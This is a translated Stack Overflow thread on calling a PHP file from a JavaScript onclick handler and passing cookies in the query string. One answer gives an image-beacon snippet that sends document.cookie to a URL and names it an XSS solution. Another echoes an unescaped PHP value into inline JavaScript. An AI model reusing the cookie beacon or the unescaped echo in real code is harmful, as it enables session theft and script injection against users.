在onclick()事件中调用.php文件

时间:2009-12-17 13:46:36

标签: php javascript

我想从OnClick事件中调用.php文件。

<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />

代码如上所示。我想通过Javascript调用.php文件,并在查询字符串中传递cookie值。

5 个答案:

答案 0 :(得分:11)

如果您不想将浏览器指向.php页面,那么您正在寻找AJAX。

AJAX with JQuery

AJAX with Prototype

AJAX with Matt Kruse's Ajax toolbox

如果您想将浏览器带到.php页面,它就像这样简单:

location.href = 'mypage.php';

答案 1 :(得分:2)

我建议使用jquery,然后您只需要$ .get(“url”)..在纯JavaScript中执行它会非常复杂。

这假设你想通过AJAX打开php(即,没有实际向用户显示.php页面,因为它通常在你点击链接时发生)

答案 2 :(得分:0)

“...并在查询字符串中传递cookie值。”

这是没有必要的,因为php无论如何都可以直接通过$ _COOKIES超全局读取cookie的值。除非你在这里做一些跨域的事情。

答案 3 :(得分:0)

你没有拥有来使用AJAX,你可以使用任何外部标签,比如iframe,链接,脚本,图像和自制的自己的XSS解决方案(说实话就是它听起来你还在做......)

function xssFunc( )
{
    ( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}

document.getElementById( 'whatevs' ).onClick = xssFunc;

但是,如果你想在之后使用这些内容,我会使用AJAX或iframe(如果你需要跨域)。

答案 4 :(得分:-1)

function call_php_program(code) {
    $.get("/php/php_program.php?code=" + code);
    return false;
}

onclick="call_php_program('<? echo $code; ?>')"